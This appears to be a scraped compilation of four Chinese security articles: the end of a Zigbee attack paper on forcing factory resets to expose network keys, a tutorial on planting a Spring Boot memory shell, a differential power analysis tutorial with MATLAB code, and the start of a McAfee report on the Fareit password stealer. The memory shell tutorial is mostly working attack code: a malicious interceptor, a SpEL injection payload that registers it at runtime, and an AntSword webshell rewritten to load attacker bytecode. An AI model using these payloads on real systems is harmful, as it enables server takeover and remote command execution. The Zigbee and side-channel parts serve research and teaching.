现在，描述获得100％准确度的派生决策规则。从上表中可以看出，只有“终端设备超时请求和响应”命令的有效载荷长度可以为2个字节。此外，“终端设备超时请求”命令的源始终是Zigbee终端设备，目的地是Zigbee协调器或Zigbee路由器，而“终端设备超时响应”命令的模式相反。因此，可以通过考虑NWK目标类型来将这两个NWK命令彼此区分开。在下图中提供的部分决策树中对此进行了描述。接下来，如上表所示，链路状态和路由请求命令是唯一广播到所有Zigbee路由器和Zigbee的NWK命令。协调器（由0xfffc广播地址表示）。可以根据它们是否是单跳NWK命令来区分它们。此外，请注意，“链接状态”命令仅由Zigbee路由器和Zigbee协调器发送，但是不必依靠这一事实就可以将它们标识为“链接状态”命令。
因此，被动攻击者可以通过检测链接状态命令来识别Zigbee路由器。还可以100％准确地识别“网络更新”和“重新加入响应”命令，将在以下小节中针对所发起的攻击进行讨论。
### （3）密钥传输攻击
安全研究人员已经意识到，自Zigbee协议的早期版本以来，网络密钥到新设备的传输可能得不到充分的保护，从而导致“短暂的脆弱性”。关于传统的Zigbee网络，Zillner和Strobl建议攻击者诱使最终用户使用干扰技术将其Zigbee设备之一恢复出厂设置，从根本上延长了漏洞的发生时间。但是，Zigbee
3.0设备可以使用安装代码加入Zigbee 3.0网络，该安装代码用于派生特定于设备的预先配置的Trust
Center链接密钥，并按顺序通过带外通信通道传输到Trust
Center。加密将网络密钥传输到新设备的Zigbee数据包。现在研究了该策略在克服网络密钥泄漏漏洞方面的有效性。
**评估Zigbee 3.0设备的调试：** 在设备上及其包装盒内找到购买的Zigbee 3.0设备的失速代码，同时为灯泡提供了其他贴纸。为了将Zigbee
3.0设备添加到Zigbee 3.0网络，使用智能手机扫描了它的QR码，如上图a所示。提供了在不扫描其QR码的情况下添加Zigbee
3.0设备的选项，选中该选项后将显示上图b中所示的消息。在那种情况下，Zigbee协调器使用默认的“信任中心”链接密钥来加密“传输密钥”命令。假设不安全的重新加入请求不被接受，攻击者获取网络密钥的主要策略是发起拒绝服务攻击，这将迫使最终用户将使用已知信任中心的设备恢复出厂设置。链接密钥以加入网络。
攻击者可以通过识别和定位旧Zigbee设备来完成此任务。或者，如果攻击者可以访问Zigbee 3.0设备，则可以将其瞄准Zigbee
3.0设备；如果攻击者可以看到其QR码，最终用户未安全处置设备的包装箱或设备，则Zigbee 3.0设备可能会泄漏。以前由其他用户拥有。Zigbee
3.0设备的QR码还包含其相应设备的扩展地址，如果攻击者能够访问安装代码，则他们可能更有可能通过仅针对相应的Zigbee
3.0设备来获取网络密钥，因为最终用户可能不会考虑其安装代码被泄漏并在出厂时进行重置的可能性。不加思索。
**强制设备恢复出厂设置：** 理想情况下，攻击者希望将必须阻塞的数据包数量降到最少，以强制设备恢复出厂设置，意识到这可以通过引起PAN
ID冲突来实现。注入使用与最终用户的Zigbee网络相同的PAN ID，但具有不同的扩展PAN ID（EPID）的伪造信标，足以启动PAN
ID冲突解决过程。每个收到伪造信标的Zigbee路由器都会通知网络管理器，该管理器通常是Zigbee协调器，并使用“网络报告”命令。然后，网络管理器选择一个新的PAN
ID，并使用“网络更新”命令将其广播到网络中的所有设备。
传输网络更新命令后不久，网络管理器和接收该命令的所有设备将切换到新的PAN ID。 Zigbee终端设备在PAN
ID更改之前可能未收到“网络更新”命令，在这种情况下，它们将尝试重新加入网络。因此，如果攻击者有选择地阻塞了网络管理器发出的网络更新命令，则某些设备将不会自动切换到新的PAN
ID。
攻击者可以识别网络更新命令，因为它们是唯一可以具有12个字节有效负载长度的NWK命令。也可以识别重新加入响应，因为它们是唯一的NWK命令，其有效载荷长度可以为3个字节，并且仅限于单跳传输。但是，在实验过程中，观察到即使阻塞了所有“重新加入响应”，某些设备仍能够使用新的PAN
ID重新加入网络。为了使设备保持断开连接，必须有选择地阻塞更新的信标，以防止设备更新其PAN ID。还观察到，如果在PAN
ID冲突后为其数据请求欺骗了MAC确认，则Zigbee终端设备未按预期启动重新加入过程。发起这些拒绝服务攻击会导致以下结果：
（a）最终用户将无法更改其受影响的执行器的状态，
（b）如果受影响的传感器检测到事件，它将无法通知最终用户用户；
（c）依赖于受影响设备的自动化规则将无法正常运行。
如果攻击者成功锁定了使用已知信任中心链接密钥的Zigbee设备，并且最终用户决定将其重置为出厂设置，则攻击者可以在调试过程中通过嗅探和解密Transport
Key命令来访问网络密钥。然后，攻击者可以解密大多数加密的有效载荷，并注入命令来更改最终用户设备（包括使用安装代码的Zigbee 3.0设备）的状态。
**意外行为：**
通过修改ATUSB的固件启动了上述解决方案。当Zigbee路由器无法接收网络更新命令时，观察到了一些意外行为。在确定无法再到达Zigbee协调器之后不久，Smart
Things Outlet（IM6001-OTP01）很快启动了重新加入过程，但Centralite 3系列Smart
Outlet在大约25分钟后启动了该过程。这种现象也可以在数据集中观察到。更有趣的是，SmartThings智能灯泡在监控它的38个小时内没有像智能插座那样启动重新加入过程。这似乎是固件问题，因为Centralite插座是旧的Zigbee设备，而SmartThings灯泡是Zigbee
3.0设备。注意到，这种行为使攻击者受益，因为它们将不得不阻塞少于预期数量的数据包。鉴于经过认证的Zigbee设备数量众多，因此未知有多少没有启动或严重延迟重新加入过程的设备，如果它们没有收到网络更新命令。
**责任披露：** 向Zigbee联盟报告了本文的发现，其代表之一证实了其有效性。他们说，他们知道PAN
ID冲突攻击，并且已经实施了规范更改，可以防止恶意PAN ID更改。关于对网络更新命令的选择性干扰，他们评论说，即使在非恶意情况下，PAN
ID更改也可能会丢失，因此，未来的规范将需要更具攻击性的算法。他们还认为，很难从Zigbee
3.0设备泄漏网络密钥。但是，由于传统的Zigbee设备仍可在市场上购买，并且消费者可能还没有将其全部替换为Zigbee
3.0设备，因此认为密钥传输攻击仍然可以在野发起。
**安全性增强：**
认为如果可在带外通信通道上重新配置信任中心链接密钥，则将显着改善通信过程的安全性。特别是，当设备尝试加入新网络并通过NFC进行传输时，此加密密钥可能会有所不同。鉴于诸如SmartThings之类的智能家居生态系统已经依靠智能手机应用程序让用户向其Zigbee网络添加设备，因此使用NFC不会对可用性产生任何重大影响。但是，由于需要额外的硬件，设备的制造成本可能会增加。最后，应该使最终用户意识到使用旧Zigbee设备会给他们的网络带来的安全风险。
## 0x08 Conclusion
在这项工作中介绍Zigator和一个测试平台设计，该设计可以对Zigbee网络进行深入的安全性分析。描述了针对集中式Zigbee网络的多次侦察攻击，并表明，尽管进行了NWK层加密，攻击者仍可以100％准确地识别某些NWK命令。使用此信息来开发选择性的干扰和欺骗攻击，这些攻击可通过将目标锁定为使用已知信任中心链接密钥的设备来导致网络密钥暴露。当公开发布软件工具和数据集时，提供了防止网络密钥泄漏的建议。本文工作揭示了在集中式Zigbee网络中禁用MAC层安全性的后果。正如所展示的，NWK层安全性不足以抵御多种被动和主动攻击。 | 社区文章 |
> 大体思路：request 到达 Controller 层时会经过 Interceptor
> （拦截器），所以我们可以自定义一个恶意拦截器，并将其注入正在运行的Spring应用。使得 request 经过我们的恶意拦截器时触发恶意代码执行命令。
>
>
> 测试环境：
> java version 1.8.0_221
> Spring Boot 2.5.1
### 一、拦截器的使用
* * *
#### 1.1 拦截器的实现
可以通过继承 HandlerInterceptorAdapter 类并覆盖其 preHandle
方法实现拦截。preHandle是请求执行前执行，preHandle 方法中写一些拦截的处理，比如下面，当请求参数中带 id 时进行拦截，并写入字符串
InterceptorTest OK! 到 response。
package com.example.spel.interceptor;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class InterceptorTest extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if( request.getParameter("id") != null ) {
PrintWriter writer = response.getWriter();
writer.write("InterceptorTest OK!");
writer.flush();
writer.close();
return false; //拦截
}
return true; //不拦截
}
}
#### 1.2 拦截器的注册
实现拦截器后还需要将拦截器注册到spring容器中，可以通过implements
WebMvcConfigurer，覆盖其addInterceptors(InterceptorRegistry registry)方法
package com.example.spel.config;
import com.example.spel.interceptor.InterceptorTest;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new InterceptorTest());
}
}
#### 1.3 拦截器测试
* 带 id 请求参数拦截
* 不拦截
### 二、运行时拦截器的注册
* * *
#### 2.1 运行时注册的实现
假设我们自定义了一个恶意的拦截器：
package com.example.spel.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("calc") != null) {
Runtime.getRuntime().exec("calc");
return false;
}
return true;
}
}
之前展示了如何手动注入拦截器，那么如何往运行中的 SpringBoot 应用中注入这个恶意的拦截器呢？
* 首先获取应用的上下文环境，也就是`ApplicationContext`
* 然后从 `ApplicationContext` 中获取 `AbstractHandlerMapping` 实例（用于反射）
* 反射获取 `AbstractHandlerMapping`类的 `adaptedInterceptors`字段
* 通过 `adaptedInterceptors`注册拦截器
运行时注册拦截器具体代码如下：
// 恶意拦截器类名
String className = "com.example.spel.controller.Madao";
byte[] bytes = Base64Utils.decodeFromString("恶意拦截器的class文件的base64编码");
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
// defineClass 恶意拦截器类
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取AbstractHandlerMapping实例, 用于反射
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<object> adaptedInterceptors = (ArrayList<object>) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
#### 2.2 运行测试
对上面的恶意拦截器类进行编译生成 class 文件，再进行 base64 编码。
第一次请求，将恶意的拦截器注入正在运行的应用中。
之后的请求，触发恶意拦截器，执行命令。
### 三、Spel 表达式注入写内存shell
* * *
#### 3.1 Spel 表达式注入的实现
@Controller
@ResponseBody
public class SpelController {
@GetMapping("/spel")
public String spelTest(@RequestParam("input") String input) {
String template = input;
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(template, parserContext);
return expression.getValue().toString();
}
}
#### 3.2 Spel 运行时注册拦截器
将 `_标题二 中的运行时注册拦截器具体 _`_代码_改写为 Spel 表达式的形式：
#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or ((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao", T(org.springframework.util.Base64Utils).decodeFromString("这里是恶意拦截器的class文件的base64编码"), 0, 这里填byte字节码长度)==(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or ((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0).getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader().loadClass("com.example.spel.controller.Madao").newInstance())))}
#### 3.3 运行测试
对上面的 spel 表达式进行 urlEncode。
第一次请求，通过Spel 表达式注入，将恶意的拦截器注入正在运行的应用中。
之后的请求，触发恶意拦截器，执行命令。
### 四、蚁剑连接
* * *
> 冰蝎同理。
> 将蚁剑的 jsp 马进行改写，然后加入我们自定义的拦截器中。实现蚁剑连接。
#### 4.1 蚁剑中的 jsp
蚁剑中生成的 jsp 马如下：
<%-- 使用时请删除此行, 连接密码: 1234 --%>
<%!
class AUXILIARY extends ClassLoader{
AUXILIARY(ClassLoader c){super(c);}
public Class profiler(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] first_class(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("1234");
if (cls != null) {
new AUXILIARY(this.getClass().getClassLoader()).profiler(first_class(cls)).newInstance().equals(new Object[]{request,response});
}
%>
简单解释一下就是，因为我们无法直接调用 `ClassLoader`的 `defineClass`方法，所以这里声明了一个类（AUXILIARY）继承了
`ClassLoader` 后调用父类的 `defineClass`。既然控制了`ClassLoader`的 `defineClass`方法
，那么我们便可以加载任意的类，为所欲为！
目标服务器端通过 request.getParameter("1234") 来接收蚁剑发送的重写了 equals
方法（恶意方法）的类的字节码。目标服务器加载字节码，之后获取类实例，调用包含恶意代码的 equals 方法。
#### 4.2 改造jsp以加入恶意拦截器中
这里记录一下改写过程的踩坑点吧。
* 通过继承（放弃）
因为这里的恶意拦截器类已经继承了 `HandlerInterceptorAdapter`类，所以无法再让其继承
`ClassLoader`类来实现加载恶意字节码。所以打算在恶意拦截器类中再声明一个继承
`ClassLoader`的内部类，然后利用该内部类去加载恶意的字节码。方案如下：
package com.example.spel.controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;
public class Madao extends HandlerInterceptorAdapter {
class AUXILIARY extends ClassLoader{
AUXILIARY(ClassLoader c){super(c);}
public Class profiler(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cls = request.getParameter("1234");
if (cls != null) {
byte[] value = Base64Utils.decodeFromString(cls);
new AUXILIARY(this.getClass().getClassLoader()).profiler(value).newInstance().equals(new Object[]{request,response});
return false;
}
return true;
}
}
但是写完进行编译后因为使用了内部类的原因，所以会上传两个 class 文件：
所以果断放弃这种方法。
* 通过反射
利用反射去调用 `ClassLoader`的 `defineClass`方法，来加载任意类。
_需要注意：同一个ClassLoader不能多次加载同一个类。 如果重复的加载同一个类 ， 将会抛出 attempted duplicate class
definition for name 异常。 所以，在加载类时， 加载该Class的ClassLoader也必须用新的，这里每次直接用反射获取
ClassLoader 实例。_
首先我们反射获取 ClassLoader 的实例，但是 ClassLoader 是抽象类，无法直接实例化。
所以我们可以先找一个继承 ClassLoader 的内置类，再反射获取其实例。这里选择了 SecureClassLoader 类。
反射获取实例代码：
Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();
最终恶意拦截器的实现代码：
package com.example.spel.controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cls = request.getParameter("1234");
if (cls != null) {
byte[] value = Base64Utils.decodeFromString(cls);
// 反射获取 defineClass 方法
Method dm = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
dm.setAccessible(true);
// 反射获取 ClassLoader 实例
Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();
Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);
clazz.newInstance().equals(new Object[]{request, response});
return false;
}
return true;
}
}
编译成 class 文件，并进行 base64 编码。然后利用上面的 spel 注入注册恶意拦截器。
蚁剑连接：
### 五、写在后面
新手，刚学 java，若有出错，请多多指教。
参考链接（感谢）：
<https://landgrey.me/blog/19/>
<https://xz.aliyun.com/t/7491#toc-5> | 社区文章 |
# 【技术分享】侧信道攻击，从喊666到入门之——差分能量攻击初探
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[backahasten](http://bobao.360.cn/member/contribute?uid=245645961)
稿费：350RMB
投稿方式：发送邮件至linwei#360.cn，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
最近在做老师留的翻译作业的时候。发现了很多有关于侧信道攻击的文章。目前， **在国内的安全圈子中很少看到与侧信道有关的内容，希望这篇可以做一个补充。**
我先挖个坑，希望会写3篇，这是第一篇，差分能量攻击（DPA），第二篇可能是cache攻击，第三篇TEMPEST攻击，我希望我会写完。
学习一项技能最好的办法就是亲手操作一下，斯普林格出版社出版的侧信道攻击年刊里的一篇文章，作者使用DPA攻击了一个没有设防的IC卡，并且给出了完整的数据集；[www.dpabook.org](http://www.dpabook.org)
上也有可有完整的能量轨迹和matlab代码示例，这样就给了我们动手练习的基础，我也加入了其他我读到的一些内容，这篇文章是我的一个总结，如果有错误，希望各位前辈提醒指正。
**I.背景知识**
芯片在运行的时候，由于数据或者逻辑的不同，内部的晶体管通断是有区别的，通过这个区别来确定程序内部的数据或者指令，就是侧信道攻击。获取这个区别有很多方法，比如在芯片的GND引脚处获取电压，通过探针去截取芯片辐射的变化等等。
我们的身边有很多密码学设备，比如大家的银行卡，门禁卡手机卡等等，侧信道攻击原来主要是针对这些设备的，可是随着人们对侧信道攻击的重视，密码学设备都增加了对侧信道攻击的防护，（当然，有一些没有防护），侧信道攻击和信息安全的其他技术一样，都是一个动态发展的过程。
侧信道攻击近几年也在智能硬件的攻击上被使用，比如2016年，就有人使用SPA（另一种侧信道攻击方法）攻击了一个智能保险箱。总之，侧信道攻击对于运算单一，时钟频率低（时钟频率低这点很重要）的设备中的加密攻击是很有效的。
在本文的第二部分，我会简单介绍一下攻击的流程，给大家建立起一个思维架构；第三部分，我会先使用网站上和书中的能量轨迹结合攻击的使用的算法开展一个真实的攻击，第四部分，我会说一些多样话的攻击方法和能量轨迹的获取。最后，我会给大家推荐一些有关于这个方面的书和文档。ps：怎么有写论文的感觉。
**II.攻击流程**
针对与所有的侧信道攻击（包括DPA，TEMPSET，cache泄露等）主要就是两个思路，第一个就是侧信道泄露的截取，第二个是信息的恢复。本节我会主要介绍这两点（只针对这种小设备中的密码学攻击的情况）。
**1.信息的截取**
设备上，示波器是必须的，无论如何，示波器一定要有把数据传输给电脑的能力，因为之后的处理都是使用matlab进行的。根据《能量分析攻击》这本书中的介绍，针对芯片，主要有以下几种获取泄露的方法。
在GND引脚处串联一个小电阻，大概是1~50欧姆，之后使用示波器测量电阻上的电压。
使用电场探针或者磁场探针获取芯片的电磁泄露。
还有很多其他的方法，比如什么表面扫面法，工作台法拉第笼法等等，这还是要根据具体情况去具体分析。在这里，我们将使用《能量分析攻击》这本书里配套的能量轨迹，这个训练集是使用小电阻耦合得到的。
**2.信息的恢复**
这种类型的侧信道攻击，主要有 **简单能量分析攻击** ， **差分能量分析攻击** 等。
**简单能量分析攻击：**
简单一点说，就是把能量轨迹显示出来之后用眼睛“看”，当然，也有很多辅助看的方法，比如模板碰撞。SPA的有点是需要的能量轨迹少，缺点是需要泄露比较明显，对噪音的敏感性大。这不是我们的重点，就不说了，有兴趣的师傅可以看我后面推荐的书。ps：主要是我不太熟悉，逃。。。。
**差分能量攻击：**
和模板类似，我们要使用已知的明文或者密文对加密算法的一个步骤进行匹配。可以说成只针对一个步骤的密钥的爆破。DPA的优点是，即使泄露较小，也可以有效识别，有天然的对噪音的过滤，缺点是需要的能量轨迹很多。
DPA的基本想法就是，通过大量的能量轨迹计算能量轨迹和数据的依赖性。
**获取能量轨迹：**
首先，我们要确定一个中间值f(d,k)，这个f一般是密码学算法的一个中间值，d必须是已知的，我们整个DPA的目的就是求k，k可能是密钥的一部分，或者密钥派生出来的值。接下来，使用示波器去接受对应的能量轨迹。完成之后我们有两个矩阵，第一个矩阵是一个只有一列的矩阵（或许应该叫向量），内容是我们已知的或者是可控的d值，长度是len(d)，我们叫他大D。第二个矩阵T是一个len(d)*T的矩阵，T是采样的点数，也就是能量轨迹的长度。每一个d对应矩阵C的一行。这里牵扯到能量轨迹对齐的问题，我们会在第四节讨论这个问题。
计算假设的中间值：
接下来，我们需要一个向量大K，大K应该包含所有小k，即遍历所有k的密钥空间。之后，使用矩阵D和矩阵大K生成矩阵V，使用如下的伪代码进行解释。
for i = 1:1:len(D)
for n = 1:1:len(K)
V(i,n) = f(D[i],K[n]);
end
end
这样，我们就得到了矩阵V，矩阵V的每一行是已知值d相同，密钥K不同，每一列是密钥值k相同，已知值不同。
**生成能量模型：**
这一步，我们使用上文的V矩阵生成一个对应的矩阵H，矩阵H的名字叫假设能量消耗模型，其中的值就是我们假设的能量消耗值。
有很多方法去获得这个能量的消耗值，比如使用器件级别甚至晶体管级别的仿真，可是这样就需要对芯片的结构有很深的了解，牵扯到了“芯片逆向”这门武林绝学。实际上，有很多简易的方法可以做到同样的效果。比如汉明距离和汉明重量。
看一串二进制：00111010，10001110，汉明距离是两个二进制数中，0到1或者1到0的转换的个数，在这里，就是4，因为第1，3，4，6位有转换。汉明重量是二进制数中1的个数，这两个二进制数的汉明重量都是4。
同样的，还有很多方法可以，我们会在第四节继续讨论。
**比较两个能量轨迹**
这个比较有很多种模型和方法，我们只说一种最常用的，基于相关系数的攻击。在这一步，我们参与运算的矩阵是测量的矩阵C和我们生成能量的模型V。计算方法如下。
[d1,k] = size(H);
[d2,t] = size(T);
for i = 1:1:k
for j = 1:1:t
ans = corrcoef(H(:,i),T(:,j));
R(i,j) = ans(1,2);
end
end
之后，我们就可以得到相关系数矩阵R，每一行代表真实的密钥值和我们假设的密钥值的相关系数，最大的哪条，就是我们要找的密钥值，对应的T时刻，就是这一步中间函数执行的时刻。
**III.演示实例**
我们先来回忆一下数学符号的问题：
f(d，k)函数：这是密码学计算的一个中间步骤，d是我们已知的明文或者密文，k是我们要获取的部分密钥。
D，一个向量，里面储存着我们已知的明文或者密文d。
K，一个向量，遍历所有可能的密钥值k。
T，一个矩阵，每一行是随时间变化而变化的能量值，行数是已知的明文或密文d的数量。
V，一个矩阵，是使用f函数计算了所有可能D，K之后的值。
H，把矩阵V的每一位使用生成能量模型计算之后的值，大小与V相同。
我使用网站上的能量轨迹进行测试，它包含了3个能量轨迹，ws1-3，我使用最一般化的ws3能量轨迹。
什么叫最一般化呢，就是实际情况中，攻击者可以相对轻松获取的轨迹。比如，获取到的能量轨迹是失调的。失调的原因可能是在获取矩阵T的时候，本来要求的是所有的采样点数应该是与芯片内部执行的时间对齐的，可是这在现实中是不太可能完全对齐的，因为这需要很小心的去设置示波器的触发。或者是芯片使用了乱序操作来对侧信道进行防御。
我先直接给出他的代码和运行之后的结果，并使用注释对代码进行解释。
load('WS3.mat');
%{
aes_plaintexts： 可知的输入值，也就是矩阵D，这里大小是1000*16，也就是有16次不同的输入，我们这里只对第一次进行攻击
traces_noDummy： 能量轨迹，没有插入随机指令作为防护，1000*25000也就是矩阵T
traces_withDummy： 能量轨迹，插入了随机指令作为侧信道攻击防护，1000*25000也就是矩阵T
HW： 用来储存汉明重量，便于后面调用
%}
samples = 1000;
%选择是否进行了随机插值的能量轨迹，下文会进行对比
analyzed_traces = 'traces_noDummy';
%analyzed_traces = 'traces_withDummy';
%选择哪条能量轨迹进行攻击，一共有16条
byte_to_attack = 1;
more off
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% 读取存储空间中aes_plaintexts的第一列
D = aes_plaintexts(1:samples, byte_to_attack);
clear aes_plaintexts byte_to_attack
% 选择能量轨迹
eval(sprintf('traces = %s(1:samples, :);', analyzed_traces));
clear analyzed_traces
%密钥有256种可能，K的空间是256
K = uint8(0:255);
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% TASK 2
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% 计算中间值，这个就是上文中的f(d,k)，这个函数的选取就是我们需要攻击的函数，计算之后是矩阵V
V = SubBytes(bitxor(repmat(D, 1, length(K)), repmat(K, samples, 1)) + 1);
% 使用汉明重量计算假设能量值，计算之后是矩阵H
H = HW(V+1);
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% 计算相关性
tr_length = size(traces, 2);
R = zeros(length(K), tr_length);
for key_idx = uint16(K)+1
fprintf('Working on key guess = %dn', K(key_idx));
%下面计算相关系数矩阵
for k = 1:tr_length
r = corrcoef( [double(H(:,key_idx)) double(traces(:,k))] );
R(key_idx, k) = r(1, 2);
end
end
clear key_idx k r
%下面我改了一些，有助于快速定位攻击成功的位置
[b,c]=max(max(R')); % c的值就是对应的正确密钥值
plot(R(c,:));
我们看下攻击的结果（运行时间比较长）。下面是TASK 2运行之后，正确密钥0x10的图。图3_1
相比于不正确的密钥，相差很大。图3_2
对于没有进行很好对对齐的能量轨迹（matlab脚本中选择analyzed_traces =
'traces_withDummy';），也有明显的相关性峰值，只不过最大值会缩小。图3_3
**IV.尾声**
**1.优化**
我们先来考虑一下，有什么可以优化的。
所以先要来考虑，为什么要优化。
优化，就是为了可以使用更少的能量轨迹，去攻击泄露更不明显的能量轨迹。或者是绕过一些防御手段，比如掩码防护，或者针对不知到计算细节的特殊加密方案的攻击，等等。
我们再来看一看，有什么地方值得优化，比如生成假设能量模型和对比假设能量模型和实际能量模型，可以使用不同的模型使得获取到的假设模型和比较结果更优化。我们的示例只针对了一个中间量来进行计算，那么对于使用了掩码的能量轨迹，我们可以使用几个中间量进行高阶DPA攻击。对于不知道具体计算过程的算法，可以使用旁路立方体攻击，等等。需要优化的地方还很多。
**2.能量轨迹的获取**
这是个很重要的问题，我没有单独拿出一章来讲的原因是我没有实际操作过，主要是因为没钱买适合的示波器。我会简单的介绍一下。
在2017年斯普林格出版的 Hardware Security and Trust 年刊第四篇 Practical Session:
Differential Power Analysis for
Beginners中，介绍了作者获取IC卡能量轨迹的方法，具有很强的通用性，可以借鉴一下。待我有钱买示波器之后，我也会自己动手做一遍。
diy一个板子，引出IC卡的接触引脚，如图4_1
之后按如下的方法接线，一路测量数据，另外一路测量功率图4_2
使用JSmartCard Explorer通过一个读卡器与接触式IC卡进行交互，使用 PicoScope 6 GUI读取能量轨迹。4.4
图4_3
**V.参考**
《能量分析攻击》（奥地利）Stefan Mangard、Elisabeth Oswald、Thomas Popp，冯登国，周永彬，刘继业 译
科学出版社。以及配套网站，[www.dpabook.org](http://www.dpabook.org)（入门好书）
《密码旁路分析原理与方法》郭世泽 王韬 赵新杰 科学出版社 （进阶必备）
N本斯普林格出版社（springer）年刊 Constructive Side-Channel Analysis and Secure Design
N本斯普林格出版社年刊 Hardware Security and Trust
文件下载
链接：<https://pan.baidu.com/s/1hrSJkf6> 密码：qgh8 | 社区文章 |
# 【安全报告】McAfee Labs 威胁报告 2017.06 （下）
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[ureallyloveme](http://bobao.360.cn/member/contribute?uid=2586341479)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【安全报告】McAfee Labs 威胁报告 2017.06
（上）](http://bobao.360.cn/learning/detail/4090.html)
[**【安全报告】McAfee Labs 威胁报告 2017.06
（中）**](http://bobao.360.cn/learning/detail/4095.html)
**
**
**密码盗用程序Fareit的增长性危险 — — RaviKant Tiwari 和 Yashashree Gund**
我们生活的这个时代，越来越多的人正在越来越多地依赖于他们的个人电子设备。此趋势使得我们对保护这种依赖关系免受威胁，比以往更加重要了。信任凭据是我们的主要安全方法，因而也成为了籍此牟利的网络犯罪的主要攻击途径。
不幸的是，人类的行为是在这些关系中最薄弱的一环。大多数人只有极低安全习惯，他们在创建密码的时候不够注意，从而将自己暴露于暴力破解的攻击之中。甚至更糟糕的是，他们有时根本不去保护自己，包括根本不设置或更改默认密码等。这种行为所招致的诸如Mirai
botnet的攻击，我们已在McAfee Labs威胁报表：2017年4月刊里强调过。
云计算正在逐渐地改变着我们使用电脑的方式。各类消费者和商家越来越多地将重要的信息和服务存储到云端。然而我们却通常使用相同的认证方案，而且基于相似的人类行为弱点，去访问着那些基于云计算的信息和服务。因此，因为数据和计算资源的集中，云计算已经成为了越来越对网络犯罪分子具有吸引力的目标。
正如我们在《McAfee Labs2017年威胁预测报表》中所预见的，恶意软件以信任凭据为目标进行盗窃，其形势日趋严重，我们需要开发出更好的方法予以应对。
